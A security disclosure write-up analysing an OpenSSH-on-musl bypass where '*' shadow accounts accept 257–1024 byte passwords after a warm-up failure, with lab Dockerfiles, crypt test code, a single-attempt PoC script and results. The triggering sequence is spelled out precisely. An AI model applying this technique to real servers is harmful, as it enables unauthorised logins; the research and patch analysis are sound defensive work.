The conventional reading of a one-character * in /etc/shadow is simple. That account has no password. Nothing you type should ever match it. Key-only users, locked-looking roots, service accounts that must never accept a password prompt: the star is supposed to be the permanent “no.”
On a narrow but real profile of systems, that reading is wrong.
If OpenSSH was built against musl libc, PAM is off, PasswordAuthentication is still yes, some other account on the box carries a real $5$ or $6$ hash, and the target account’s shadow field is exactly *, then a password of length 257 to 1024 bytes can authenticate. The mechanism is not a forged hash and not a PAM bypass. It is a string comparison that becomes true because both sides are the literal character *.
I reproduced this in an isolated Alpine lab on 5 November 2026 (Europe/Ljubljana), against Alpine openssh-server 9.7_p1-r5 (vulnerable) and 9.7_p1-r6 (patched), with a Debian glibc+PAM control. The public disclosure is sshhole.com. OpenSSH 10.6p2, released the same day, documents a critical security workaround and credits Özgün Kültekin of Wakefield. The release notes and the Alpine advisory, both written earlier on 5 November, shipped without a CVE identifier. MITRE published CVE-2026-123158 later that day. I cover the stack that makes the match possible, what the lab actually required (including a warm-up attempt that some summaries oversimplify away), detection you can run, and how vulnerable hosts can be identified from the outside without authenticating to them.
What password authentication is supposed to do
When PAM is not in the path, portable OpenSSH eventually lands in sys_auth_passwd in auth-passwd.c. The logic, from the OpenSSH 9.7p1 tree, is short enough to hold in your head:
- Read the stored password string (
shadow_pwfor a valid user). - Empty password special-case.
- If the stored string has at least two characters, use it as the salt for
crypt. Otherwise leave salt NULL. - Call
xcrypt(password, salt). - Succeed only if the result is non-NULL and
strcmpequal to the stored string.
* fails that test. A normal $6$… hash is long enough to pass it. A field of * has length 1, so pw_password[1] is the terminating NUL, the condition fails, and salt stays NULL.
xcrypt in openbsd-compat/xcrypt.c then does the thing that used to be only about timing. If salt is NULL, it calls pick_salt() and hashes with whatever salt that returns. Authentication still ends in strcmp(encrypted_password, pw_password). The stored field is still *. So for the login to succeed, crypt has to return exactly *.
That is the whole bug, once you know why musl will hand you that character.
The non-PAM sys_auth_passwd from OpenSSH 9.7p1, lightly elided:
int
sys_auth_passwd(struct ssh *ssh, const char *password)
{
Authctxt *authctxt = ssh->authctxt;
struct passwd *pw = authctxt->pw;
char *encrypted_password, *salt = NULL;
char *pw_password = authctxt->valid ? shadow_pw(pw) : pw->pw_passwd;
if (pw_password == NULL)
return 0;
if (strcmp(pw_password, "") == 0 && strcmp(password, "") == 0)
return (1);
if (authctxt->valid && pw_password[0] && pw_password[1])
salt = pw_password;
encrypted_password = xcrypt(password, salt);
return encrypted_password != NULL &&
strcmp(encrypted_password, pw_password) == 0;
}
The if checks whether two bytes exist before the NUL. It does not inspect the algorithm. "*" fails. "!" fails. "!!" would pass and be used as a salt string, which is its own mess. Empty is handled earlier. Everything else with length ≥ 2 becomes the salt argument to crypt. That is how normal $6$salt$hash accounts work: the stored field is the setting.
auth_password also enforces MAX_PASSWORD_LEN before any of this runs:
#define MAX_PASSWORD_LEN 1024
...
if (strlen(password) > MAX_PASSWORD_LEN)
return 0;
So the exploitable length window is not “arbitrarily long.” It is bounded above by OpenSSH and below by musl. That window is exactly where the lab spent its time.
1980 to 2012: the star that was never a hash
Unix has used * in password fields since at least 3BSD, as sshhole.com documents with Bill Joy’s daemon account. A star is not a DES or SHA-crypt setting. No honest crypt of a candidate password against a real algorithm produces a lone * as a successful hash of that password. The account is unreachable by password comparison.
POSIX crypt is also allowed to fail. The classical failure mode is NULL. Many callers never checked. They compared the return value to the shadow field, dereferenced NULL, and crashed.
In August 2012, musl changed course. Commit b3c4cc12 (Rich Felker, author date 2012-08-09) made failure return an unmatchable hash instead of NULL, on the reported ground that always “succeeding” with something that cannot match is safer for buggy callers. The sentinel chosen for ordinary failure was "*". If the setting itself already began with *, musl returns "x" instead so a failure does not echo the bad setting. That commit covers the DES path; the SHA-crypt "*" sentinel came with 88bf5a8a, covered below.
Twenty days later, musl grew SHA-256 and SHA-512 crypt (88bf5a8a, 2012-08-29). Those algorithms’ runtime grows with key length. For DoS protection musl capped the key:
/* key limit is not part of the original design, added for DoS protection.
* rounds limit has been lowered (versus the reference/spec), also for DoS
* protection. runtime is O(klen^2 + klen*rounds) */
#define KEY_MAX 256
and in sha512crypt:
/* reject large keys */
for (i = 0; i <= KEY_MAX && key[i]; i++);
if (i > KEY_MAX)
return 0;
__crypt_sha512 turns a NULL/0 result into the failure sentinel:
p = sha512crypt(key, setting, output);
/* self test and stack cleanup */
q = sha512crypt(testkey, testsetting, testbuf);
if (!p || q != testbuf || memcmp(testbuf, testhash, sizeof testhash))
return "*";
return p;
The file header still says it plainly: on error, * is returned. Same KEY_MAX pattern exists for sha256crypt. So on musl today, crypt("A"*257, "$6$…") does not return a $6$ hash. It returns the one-byte string "*".
Debian’s libxcrypt does not do this for the lengths the lab tested. For overlong $6$ keys at 257 and 300 bytes, the same call returned a full $6$… hash. For a bad salt of "*", it returned "*0", not exact "*". The Debian package is libxcrypt (libcrypt1 1:4.4.33-2), not glibc’s crypt. The __GLIBC__ check in the C test only selects headers. That difference alone is enough to keep the OpenSSH strcmp from firing on Debian-style stacks, even before PAM enters the picture.
A trap in exploit write-ups: crypt(anything, "*") on musl is not the match path. Lab measurement: it returns "x". The match needs a modern algorithm setting as the salt argument ($5$ / $6$ / …) so the length failure path runs, while the stored shadow field being compared is "*".
2016: CVE-2016-6210 and the borrowed salt
Invalid usernames used to be cheaper than valid ones. Nonexistent users were not skipped entirely. OpenSSH hashed their guesses against a fake Blowfish setting from fakepw, while a real account with a SHA-crypt hash cost different work. That gap let a remote attacker time responses and enumerate users (CVE-2016-6210).
The July 2016 openssh-commits change aligned the algorithm, so unknown users were hashed in the style of real accounts. Its pick_salt() took the setting from root via getpwuid(0). The listing below is OpenSSH 9.7p1, not the 2016 function. It walks getpwent() and caches the first $…$ setting it finds:
static const char *
pick_salt(void)
{
struct passwd *pw;
char *passwd, *p;
size_t typelen;
static char salt[32];
if (salt[0] != '\0')
return salt;
strlcpy(salt, "xx", sizeof(salt));
setpwent();
while ((pw = getpwent()) != NULL) {
if ((passwd = shadow_pw(pw)) == NULL)
continue;
if (passwd[0] == '$' && (p = strrchr(passwd+1, '$')) != NULL) {
typelen = p - passwd + 1;
strlcpy(salt, passwd, MINIMUM(typelen, sizeof(salt)));
explicit_bzero(passwd, strlen(passwd));
goto out;
}
}
out:
endpwent();
return salt;
}
Default fallback is traditional DES salt "xx". If any account has a $…$… shadow value, that setting prefix is copied into a process-static buffer and reused for the rest of the process lifetime.
The timing fix was aimed at invalid users. The same NULL-salt path runs for a valid user whose stored hash is only one character long, because sys_auth_passwd only keeps the user’s own field as salt when pw_password[0] && pw_password[1]. A lone * fails that test. So Alice-with-star borrows Bob’s $6$ salt, runs crypt(candidate, bob_salt), and compares the result to "*".
If the candidate is longer than 256 bytes and the borrowed setting is sha512crypt or sha256crypt on musl, both sides of strcmp are "*".
Why Linux OpenSSH still treats “*” accounts as login targets
allowed_user refuses locked accounts when PAM is off, via platform_locked_account in platform.c. On Linux, portable OpenSSH’s configure.ac defines LOCKED_PASSWD_PREFIX as "!", not "*". Alpine-style * is therefore not treated as locked by that check. Key-only * accounts remain valid authentication contexts. That is why password authentication is even attempted against them.
PAM short-circuits the whole story differently. With UsePAM yes, OpenSSH does not use sys_auth_passwd / xcrypt / shadow-field strcmp for password verification. Auth goes through PAM modules. The Debian lab image with UsePAM yes denied the warm-up-plus-long sequence for alice. Builds that never compile the non-PAM password path, or that keep PAM on, sit outside the exploitable profile OpenSSH described for 10.6p2.
Alpine’s root star, and why a donor hash is required
CVE-2019-5021 was Alpine Docker images shipping root with an empty password. They hardened first with !, then moved root to * because ! also blocked key logins when PAM was off (aports fbe926af, authored 2021-12-10 and committed 2022-05-23, changes scripts/genrootfs.sh). That commit is not the CVE-2019-5021 patch. It kept key login working, and password login was meant to stay closed.
The bypass still needs a donor: another account whose shadow value begins with a modern setting such as $5$ or $6$, so pick_salt can copy it. pick_salt takes the first qualifying $…$ field it finds, not whichever $5$ or $6$ account a reader prefers. The lab confirmed $6$ (bob) end to end and $5$ at the crypt layer. $1$ and $y$ are in the detection script’s donor pattern as a listing heuristic. Neither sshhole.com nor the Alpine advisory names them, and the lab did not test them over SSH. Without any such hash on the host, pick_salt leaves "xx". musl then DES-crypts the long password and returns a DES hash such as xxJJqYuu8A9oE, which does not equal "*". The crypt layer shows this directly: with salt xx, musl returned xxJJqYuu8A9oE at every length tested, including 257 and 300. I did not archive a donor-free SSH run, so I am not claiming an SSH-level denial for a host with no $…$ hash.
OpenSSH’s own upper bound is #define MAX_PASSWORD_LEN 1024 in auth-passwd.c. Longer candidates are rejected before crypt. Lab matrix: with warm-up, 1024 succeeded and 1025 failed on the vulnerable image. Lower bound 257 is musl KEY_MAX.
The warm-up: why the first long password often fails
This is the detail that burned naive single-attempt PoCs, and where Alpine’s “needs no retries” wording is easy to misread.
Pre-10.6p2, shadow_pw() returned getspnam()->sp_pwdp without copying. On musl, getspnam() uses a static struct spwd and line buffer. On a fresh sshd child:
- First auth for
alice:shadow_pw(alice)returns a pointer into that static buffer holding"*". - Salt is NULL, so
pick_salt()walks the password database, callsgetspnam(bob), overwrites the same static buffer with bob’s$6$…hash, copies the salt prefix into the staticsalt[32], thenexplicit_bzeros the shadow string it just read. Alice’spw_passwordpointer now sees zeros (or other clobber). crypt(long, "$6$…")returns"*", butstrcmp("*", clobbered) != 0. Failed password.
After that first pick_salt() call, salt[0] != '\0', so later attempts in the same process (same SSH connection’s monitor) skip the walk. Second attempt:
- Fresh
getspnam(alice)→"*"again. pick_salt()returns the cached$6$…without touchinggetspnam.crypt(long, cached)→"*".strcmp("*","*") == 0→ accepted.
So you need one connection with at least two password attempts (default MaxAuthTries allows that), not a magical single packet. sshhole.com notes that a wrong try is needed first; that matches the lab. Alpine’s advisory phrasing that it “needs no retries” is overstated relative to stock OpenSSH+musl behaviour if “retries” is read as “second auth in the same connection.”
The lab and the research notes also caught this in pick_salt: it copies with strlcpy(salt, passwd, MINIMUM(typelen, sizeof(salt))), where typelen is computed to include the trailing $ of the setting prefix, but strlcpy’s size argument counts the destination capacity and always NUL-terminates, so the copied salt can drop that trailing $. musl still accepted the truncated setting and returned "*" for overlong keys. The bypass did not depend on a perfectly formatted $6$salt$ string leaving pick_salt.
ASCII for the successful path after warm-up:
client sshd (one connection / one monitor)
| |
|-- password "warm" ------>| pick_salt() walks, caches $6$…,
| Authentication failed | clobbers alice's first shadow ptr → deny
| |
|-- password "A"*300 ----->| pick_salt() returns cache (no walk)
| | crypt(300, "$6$…") => "*"
| | strcmp("*", "*") == 0
|<-- Authentication OK ----|
What OpenSSH fixed, and the CVE that landed later that day
Portable OpenSSH 10.6p2 (2026-11-05) says:
avoid password authentication bypass that is exploitable through sshd(8) that affects some Linux systems when built and run with PAM support disabled. We consider the root cause of this bug to be outside sshd, but it is exploitable via sshd and can be avoided there.
This bug was reported by Özgün Kültekin of Wakefield (wakefield.co)
The workaround commit is 90f9c2f7. NVD also lists 4353fdc4, the same change on another parent. It does two decisive things in the password path: shadow_pw now xstrdups the hash (so pick_salt’s later getspnam cannot clobber the pointer you are about to strcmp), and success requires strlen(pw_password) >= MIN_PASSWORD_HASH_LEN (4). A stored "*" can never succeed, even if crypt returns "*".
Do not confuse that with the 30 October 2026 openssh-commits mail about pick_salt. That message (013271) is a bcrypt fake-salt generation fix (84f8f466…). Related hygiene around salt borrowing; not the musl * bypass patch.
Alpine shipped fixed pkgrels the same day (for the 3.20 line, 9.7_p1-r6). The Alpine advisory and the OpenSSH release notes, both written earlier that day, did not name an identifier. MITRE published CVE-2026-123158 at 15:46 UTC on 5 November, and NVD posted it at 16:17 UTC.
The CVE text says passwords between 256 and 1024 characters. That wording is imprecise relative to the code and to this lab. The SHA path rejects any key longer than 256 bytes (KEY_MAX), and warm+256 was denied on the vulnerable image, so I am keeping 257 as the lower bound.
Affected profile
All of the following, together:
- OpenSSH built against musl (Alpine’s
openssh-serveris the lab-confirmed case). - PAM disabled (absent
UsePAM, orUsePAM no). PasswordAuthentication yes.- At least one account whose
/etc/shadowpassword field is exactly*. - At least one donor account with a
$5$/$6$-style hash (lab-confirmed).$1$and$y$appear only in the detection script’s listing heuristic. sshhole.com and the Alpine advisory do not name them, and the lab did not test them. - Still-vulnerable binary: r5 or pre-10.6p2 without the workaround.
- The target user passes ordinary sshd policy:
AllowUsersadmits the name, the account is not expired, and for root,PermitRootLoginallows password login. The lab’s root success neededPermitRootLogin yes; alice did not need that setting. - Attacker can complete two password attempts in one connection against the
*account, with the second password length in 257..1024.
Not affected in the lab: Alpine 9.7_p1-r6, and Debian bookworm with libxcrypt and PAM. OpenSSH’s framing also puts ordinary PAM-on Linux outside the critical workaround’s stated scope.
Advisory, not this lab: the Alpine advisory also lists directory-service users reached through musl-nscd (nslcd, winbind, sssd) that have no shadow entry, and the alpine user on official tiny-cloud images. The lab did not test either case.
Claims about OpenWrt, Buildroot, Yocto, Dropbear, and OpenBSD appear in the public write-up as ecosystem reasoning (musl users, or “not this bug”). This lab did not test those projects. If you extend the story there, label it as write-up reasoning, not as our experiment.
Lab: isolated reproduction
Throwaway containers. Inside each one, sshd logged 0.0.0.0 / ::. I published the host ports on 127.0.0.1 only.
sshhole-vulnon 2222: Alpine 3.20 musl, openssh-server 9.7_p1-r5, no PAM. Vulnerable.sshhole-patchedon 2223: Alpine 3.20 musl, openssh-server 9.7_p1-r6, no PAM. Fixed (MIN_PASSWORD_HASH_LEN).sshhole-debianon 2224: Debian glibc, libxcrypt,UsePAM yes. Not affected.
Accounts on vuln and patched: alice and root with /etc/shadow field *; bob with a real password BobPass123! ($6$…).
x86_64/amd64 builds (Alpine 3.20 musl 1.2.5-r4, Debian bookworm). Do not treat a Mac/arm64 Docker rerun as a reproduction of the archived numbers. The banner captures below reused these same images under amd64 emulation on Docker Desktop.
On vulnerable Alpine, a single password attempt of length 257+ against alice fails. Within the same TCP/SSH connection, a short failed attempt then a 257..1024 byte password succeeds. Sampled lengths are in the matrix below. Patched r6 and Debian deny.
The Dockerfiles install the r5 and r6 APKs with --allow-untrusted. Those packages matched Alpine’s v3.20 x86_64 CDN byte-for-byte at review time. After a package upgrade, restart sshd: installing the apk does not replace the running daemon.
Vulnerable Alpine image
FROM alpine:3.20
RUN apk add --no-cache bash coreutils shadow openssl gcc musl-dev
COPY apks/*.apk /tmp/apks/
RUN apk add --allow-untrusted --no-cache \
/tmp/apks/openssh-keygen-9.7_p1-r5.apk \
/tmp/apks/openssh-server-common-9.7_p1-r5.apk \
/tmp/apks/openssh-sftp-server-9.7_p1-r5.apk \
/tmp/apks/openssh-client-common-9.7_p1-r5.apk \
/tmp/apks/openssh-client-default-9.7_p1-r5.apk \
/tmp/apks/openssh-server-9.7_p1-r5.apk \
/tmp/apks/openssh-9.7_p1-r5.apk \
&& rm -rf /tmp/apks
COPY crypt_test/crypt_len_test.c /opt/crypt_len_test.c
RUN gcc -o /opt/crypt_len_test /opt/crypt_len_test.c
# Create users
RUN adduser -D -s /bin/sh alice \
&& adduser -D -s /bin/sh bob \
&& echo 'bob:BobPass123!' | chpasswd \
&& awk -F: 'BEGIN{OFS=FS} $1=="alice"{$2="*"} $1=="root"{$2="*"} {print}' /etc/shadow > /tmp/sh \
&& cat /tmp/sh > /etc/shadow && chmod 640 /etc/shadow
RUN ssh-keygen -A \
&& mkdir -p /var/run/sshd /etc/ssh/sshd_config.d /var/log \
&& printf '%s\n' \
'Port 22' \
'PasswordAuthentication yes' \
'KbdInteractiveAuthentication no' \
'PermitRootLogin yes' \
'LogLevel VERBOSE' \
> /etc/ssh/sshd_config.d/lab.conf
COPY scripts/entrypoint-alpine.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
EXPOSE 22
CMD ["/entrypoint.sh"]
Patched Alpine image (r6)
FROM alpine:3.20
RUN apk add --no-cache bash coreutils shadow openssl gcc musl-dev
COPY apks-fixed/*.apk /tmp/apks/
RUN apk add --allow-untrusted --no-cache \
/tmp/apks/openssh-keygen-9.7_p1-r6.apk \
/tmp/apks/openssh-server-common-9.7_p1-r6.apk \
/tmp/apks/openssh-sftp-server-9.7_p1-r6.apk \
/tmp/apks/openssh-client-common-9.7_p1-r6.apk \
/tmp/apks/openssh-client-default-9.7_p1-r6.apk \
/tmp/apks/openssh-server-9.7_p1-r6.apk \
/tmp/apks/openssh-9.7_p1-r6.apk \
&& rm -rf /tmp/apks
COPY crypt_test/crypt_len_test.c /opt/crypt_len_test.c
RUN gcc -o /opt/crypt_len_test /opt/crypt_len_test.c
RUN adduser -D -s /bin/sh alice \
&& adduser -D -s /bin/sh bob \
&& echo 'bob:BobPass123!' | chpasswd \
&& awk -F: 'BEGIN{OFS=FS} $1=="alice"{$2="*"} $1=="root"{$2="*"} {print}' /etc/shadow > /tmp/sh \
&& cat /tmp/sh > /etc/shadow && chmod 640 /etc/shadow
RUN ssh-keygen -A \
&& mkdir -p /var/run/sshd /etc/ssh/sshd_config.d /var/log \
&& printf '%s\n' \
'Port 22' \
'PasswordAuthentication yes' \
'KbdInteractiveAuthentication no' \
'PermitRootLogin yes' \
'LogLevel VERBOSE' \
> /etc/ssh/sshd_config.d/lab.conf
COPY scripts/entrypoint-alpine.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
EXPOSE 22
CMD ["/entrypoint.sh"]
Debian glibc + PAM control
FROM debian:bookworm-slim
RUN apt-get update && DEBIAN_FRONTEND=noninteractive apt-get install -y \
openssh-server openssh-client gcc libcrypt-dev passwd \
&& rm -rf /var/lib/apt/lists/*
COPY crypt_test/crypt_len_test.c /opt/crypt_len_test.c
RUN gcc -o /opt/crypt_len_test /opt/crypt_len_test.c -lcrypt
RUN useradd -m -s /bin/bash alice \
&& useradd -m -s /bin/bash bob \
&& echo 'bob:BobPass123!' | chpasswd \
&& usermod -p '*' alice \
&& usermod -p '*' root
RUN mkdir -p /var/run/sshd /etc/ssh/sshd_config.d /var/log \
&& ssh-keygen -A \
&& printf '%s\n' \
'Port 22' \
'PasswordAuthentication yes' \
'KbdInteractiveAuthentication no' \
'PermitRootLogin yes' \
'UsePAM yes' \
'LogLevel VERBOSE' \
> /etc/ssh/sshd_config.d/lab.conf
COPY scripts/entrypoint-debian.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
EXPOSE 22
CMD ["/entrypoint.sh"]
Entrypoints
Alpine:
#!/bin/sh
set -e
echo "=== LAB sshd starting ==="
echo "openssh version:"; sshd -V 2>&1 || true
echo "sshd binary:"; ls -l $(which sshd)
echo "linked libs (musl?):"; ldd $(which sshd) | head -5
echo "UsePAM effective:"; sshd -T 2>/dev/null | grep -i usepam || echo "(no usepam - expected for non-PAM build)"
echo "PasswordAuthentication:"; sshd -T 2>/dev/null | grep -i passwordauthentication
echo "shadow:"; grep -E '^(root|alice|bob):' /etc/shadow | cut -c1-60
# Run sshd in foreground, log to file
mkdir -p /var/log
exec /usr/sbin/sshd -D -e 2>/var/log/sshd.log
Debian:
#!/bin/bash
set -e
echo "=== LAB debian sshd starting ==="
sshd -V 2>&1 || true
ldd $(which sshd) | head -8
sshd -T 2>/dev/null | grep -iE 'usepam|passwordauthentication'
grep -E '^(root|alice|bob):' /etc/shadow | cut -c1-80
exec /usr/sbin/sshd -D -e 2>/var/log/sshd.log
Packages in the vulnerable image were Alpine openssh-server 9.7_p1-r5; patched was 9.7_p1-r6. Accounts: alice and root with shadow *, bob with a real password BobPass123! ($6$…). PermitRootLogin yes was set deliberately so root could be tested; production Alpine defaults are stricter for root.
Crypt-layer isolation (musl vs Debian libxcrypt)
Before SSH, isolate libc. Two small C programs, compiled inside those images:
crypt_len_test.c
/* crypt_len_test.c - isolate musl vs glibc crypt() behavior for overlong passwords
* Compile on musl: gcc -o crypt_len_test crypt_len_test.c
* Compile on glibc: gcc -o crypt_len_test crypt_len_test.c -lcrypt
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#ifdef __GLIBC__
#include <crypt.h>
#endif
static void try_one(const char *label, const char *pw, const char *salt) {
char *r = crypt(pw, salt);
printf("len=%zu salt=%s label=%s => ", strlen(pw), salt, label);
if (r == NULL) {
printf("NULL\n");
} else {
/* print repr: show if it is exactly "*" */
printf("\"%s\"%s\n", r, (strcmp(r, "*") == 0) ? " [EXACT_STAR]" : "");
}
}
int main(void) {
size_t lengths[] = {0, 1, 8, 256, 257, 300, 1024, 1025, 0};
const char *salts[] = {
"$6$saltsalt$", /* sha512 setting with empty hash part OK for crypt */
"$6$rounds=5000$saltsalt$",
"*",
"$5$saltsalt$",
NULL
};
char *buf;
size_t i, j;
printf("libc: ");
#ifdef __GLIBC__
printf("glibc\n");
#else
printf("not-glibc (likely musl)\n");
#endif
for (j = 0; salts[j]; j++) {
printf("--- salt=%s ---\n", salts[j]);
for (i = 0; lengths[i] || i == 0; i++) {
if (i > 0 && lengths[i] == 0) break;
buf = malloc(lengths[i] + 1);
if (!buf) return 1;
memset(buf, 'A', lengths[i]);
buf[lengths[i]] = '\0';
try_one("A*len", buf, salts[j]);
free(buf);
}
}
return 0;
}
crypt_iso.c
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#ifdef __GLIBC__
#include <crypt.h>
#endif
int main(void) {
const char *salts[] = {"*", "$6$Uf79gTYJXOlphJPN$", "$5$saltsalt$", "xx", NULL};
int lens[] = {8, 256, 257, 300, -1};
printf("libc: %s\n",
#ifdef __GLIBC__
"glibc"
#else
"not-glibc"
#endif
);
for (int s = 0; salts[s]; s++) {
for (int i = 0; lens[i] >= 0; i++) {
int L = lens[i];
char *buf = malloc(L + 1);
memset(buf, 'A', L);
buf[L] = 0;
char *r = crypt(buf, salts[s]);
printf("salt=%-28s len=%4d => %s%s\n", salts[s], L, r ? r : "(null)",
(r && strcmp(r, "*") == 0) ? " [EXACT_STAR]" : "");
free(buf);
}
}
return 0;
}
Results on musl
Program: crypt_iso.c.
libc: not-glibc
salt=* len= 8 => x
salt=* len= 256 => x
salt=* len= 257 => x
salt=* len= 300 => x
salt=$6$Uf79gTYJXOlphJPN$ len= 8 => $6$Uf79gTYJXOlphJPN$2Xxxv9pY4ZSw1qIM7O3rHquh/ymfCL4OJKnNgzylOib2TMif5c9Big6CMbjFARsfUzFSndTDoJZ6n2ImMxKya/
salt=$6$Uf79gTYJXOlphJPN$ len= 256 => $6$Uf79gTYJXOlphJPN$sxbAF7mq47o06tjPlPB.BRNQ6kv4o27KHAzS0GSQ9DCFqo6QakfuIj8XVJTKNqnYQBPdy.UQyVXRYdgBMhFag1
salt=$6$Uf79gTYJXOlphJPN$ len= 257 => * [EXACT_STAR]
salt=$6$Uf79gTYJXOlphJPN$ len= 300 => * [EXACT_STAR]
salt=$5$saltsalt$ len= 8 => $5$saltsalt$8iYScIBZ3DXwki/5Dmf2gcR4gEZiiqDyuiBOmvvJEf/
salt=$5$saltsalt$ len= 256 => $5$saltsalt$ZJOIXLO4bQ6AQpgMmnJDKr3Ygcj8wEoe6NWHCjF2Lp3
salt=$5$saltsalt$ len= 257 => * [EXACT_STAR]
salt=$5$saltsalt$ len= 300 => * [EXACT_STAR]
salt=xx len= 8 => xxJJqYuu8A9oE
salt=xx len= 256 => xxJJqYuu8A9oE
salt=xx len= 257 => xxJJqYuu8A9oE
salt=xx len= 300 => xxJJqYuu8A9oE
Results on Debian libxcrypt
Program: crypt_iso.c. The Debian bookworm package is libcrypt1 1:4.4.33-2 (libxcrypt), built with -lcrypt. The program prints libc: glibc because __GLIBC__ is defined there. That label comes from the headers, not from the crypt implementation.
libc: glibc
salt=* len= 8 => *0
salt=* len= 256 => *0
salt=* len= 257 => *0
salt=* len= 300 => *0
salt=$6$Uf79gTYJXOlphJPN$ len= 8 => $6$Uf79gTYJXOlphJPN$2Xxxv9pY4ZSw1qIM7O3rHquh/ymfCL4OJKnNgzylOib2TMif5c9Big6CMbjFARsfUzFSndTDoJZ6n2ImMxKya/
salt=$6$Uf79gTYJXOlphJPN$ len= 256 => $6$Uf79gTYJXOlphJPN$sxbAF7mq47o06tjPlPB.BRNQ6kv4o27KHAzS0GSQ9DCFqo6QakfuIj8XVJTKNqnYQBPdy.UQyVXRYdgBMhFag1
salt=$6$Uf79gTYJXOlphJPN$ len= 257 => $6$Uf79gTYJXOlphJPN$eu91QYgcyuAyGk78qjItjY6fqLqr7UF2n4TLgUwnjkBHgYF9AtFS.ss/y8.vInDPn9VH3rqzNa8ETqtzqxpgy1
salt=$6$Uf79gTYJXOlphJPN$ len= 300 => $6$Uf79gTYJXOlphJPN$EOUkYMLQ4wYqXiV.468JjKRx5ptNpX0J6fl2bQx7nRGl/nZPiuKQCuopa6rBsVLtgasSEtyHo4GDGDxYdWTEb/
salt=$5$saltsalt$ len= 8 => $5$saltsalt$8iYScIBZ3DXwki/5Dmf2gcR4gEZiiqDyuiBOmvvJEf/
salt=$5$saltsalt$ len= 256 => $5$saltsalt$ZJOIXLO4bQ6AQpgMmnJDKr3Ygcj8wEoe6NWHCjF2Lp3
salt=$5$saltsalt$ len= 257 => $5$saltsalt$In809z65jzWBy.5CBsaPF5WMolcOiCkvHrt37uJ7lD3
salt=$5$saltsalt$ len= 300 => $5$saltsalt$8H1jWQ5nYNHOSXPLWNELjs.UAtpnHCLEaK0HJtbEyQ/
salt=xx len= 8 => xxJJqYuu8A9oE
salt=xx len= 256 => xxJJqYuu8A9oE
salt=xx len= 257 => xxJJqYuu8A9oE
salt=xx len= 300 => xxJJqYuu8A9oE
Exact star appears on musl for $5$/$6$ salts once length exceeds 256. On Debian’s libxcrypt, the same salts returned full hashes at 257 and 300 bytes. A longer crypt_len_test run on that same Debian libc, $6$saltsalt$ salt:
len=1024 salt=$6$saltsalt$ label=A*len => "*0"
len=1025 salt=$6$saltsalt$ label=A*len => "*0"
Salt "*" never yields exact "*" on musl (it yields x). Salt "xx" never yields "*" either. That is the entire libc half of the composition.
SSH PoC matrix
Early attempts used an SSH_ASKPASS helper. Single-attempt tools failed for the warm-up reason above; the matrix that mattered came from a Paramiko program that drove two auths on one transport. That program is not included here, so the matrix below is an archived result. The helper that remains is poc_attempt.sh. It makes one password attempt per connection, so it cannot produce the warm+long sequence:
#!/bin/bash
# Attempt password auth with various lengths against a local sshd
# One prompt per connection; cannot produce the warm+long matrix.
# Usage: poc_attempt.sh HOST PORT USER
set -u
HOST=${1:-127.0.0.1}
PORT=${2:-2222}
USER=${3:-alice}
LAB_DIR=$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)
OUTDIR=${4:-"$LAB_DIR/logs"}
mkdir -p "$OUTDIR"
RESULTS="$OUTDIR/poc_${USER}_${PORT}.tsv"
echo -e "length\texit\tnote" > "$RESULTS"
try_len() {
local len=$1
local pw
if [ "$len" -eq 0 ]; then
pw=""
else
pw=$(python3 -c "print('A'*$len)")
fi
# sshpass-like via SSH_ASKPASS
local ask=/tmp/askpass_$$
printf '#!/bin/sh\necho -n %s\n' "'$pw'" > "$ask"
# For empty: just echo nothing
if [ "$len" -eq 0 ]; then
printf '#!/bin/sh\necho -n\n' > "$ask"
else
# Write password to askpass without shell-escaping issues
python3 -c "open('$ask','w').write('#!/bin/sh\\nimport sys\\n'+'')" 2>/dev/null || true
cat > "$ask" << ASKEOF
#!/bin/sh
python3 -c "print('A'*$len, end='')"
ASKEOF
fi
chmod +x "$ask"
export SSH_ASKPASS="$ask"
export SSH_ASKPASS_REQUIRE=force
export DISPLAY=:0
# Connect with BatchMode-incompatible password auth; timeout
set +e
timeout 15 ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
-o PreferredAuthentications=password -o PubkeyAuthentication=no \
-o NumberOfPasswordPrompts=1 \
-p "$PORT" "$USER@$HOST" 'echo LOGIN_OK; id' > "$OUTDIR/out_${USER}_${PORT}_${len}.txt" 2>"$OUTDIR/err_${USER}_${PORT}_${len}.txt"
ec=$?
set -e
note="fail"
if grep -q 'LOGIN_OK' "$OUTDIR/out_${USER}_${PORT}_${len}.txt" 2>/dev/null; then
note="SUCCESS"
elif grep -qi 'permission denied' "$OUTDIR/err_${USER}_${PORT}_${len}.txt" 2>/dev/null; then
note="denied"
elif grep -qi 'Connection refused' "$OUTDIR/err_${USER}_${PORT}_${len}.txt" 2>/dev/null; then
note="refused"
else
note="other(ec=$ec)"
fi
echo -e "${len}\t${ec}\t${note}" | tee -a "$RESULTS"
rm -f "$ask"
}
for len in 0 8 256 257 300 1024 1025; do
try_len "$len"
done
echo "Results in $RESULTS"
cat "$RESULTS"
Sampled SSH matrix, the complete archived file:
=== VULN Alpine 9.7_p1-r5 musl no-PAM :2222 ===
single-0 alice len0=FAIL => denied
single-1 alice len1=FAIL => denied
single-8 alice len8=FAIL => denied
single-255 alice len255=FAIL => denied
single-256 alice len256=FAIL => denied
single-257 alice len257=FAIL => denied
single-258 alice len258=FAIL => denied
single-300 alice len300=FAIL => denied
single-512 alice len512=FAIL => denied
single-1024 alice len1024=FAIL => denied
warm+256 alice len4=FAIL | len256=FAIL => denied
warm+257 alice len4=FAIL | len257=OK => SUCCESS
warm+258 alice len4=FAIL | len258=OK => SUCCESS
warm+300 alice len4=FAIL | len300=OK => SUCCESS
warm+1024 alice len4=FAIL | len1024=OK => SUCCESS
warm+1025 alice len4=FAIL | len1025=FAIL => denied
warm+root300 root len1=FAIL | len300=OK => SUCCESS
bob-real bob len11=OK => SUCCESS
=== PATCHED Alpine 9.7_p1-r6 :2223 ===
bob-real bob len11=OK => SUCCESS
warm+257 alice len4=FAIL | len257=FAIL => denied
warm+300 alice len4=FAIL | len300=FAIL => denied
warm+1024 alice len4=FAIL | len1024=FAIL => denied
warm+root300 root len1=FAIL | len300=FAIL => denied
=== DEBIAN glibc :2224 ===
bob-real bob len11=OK => SUCCESS
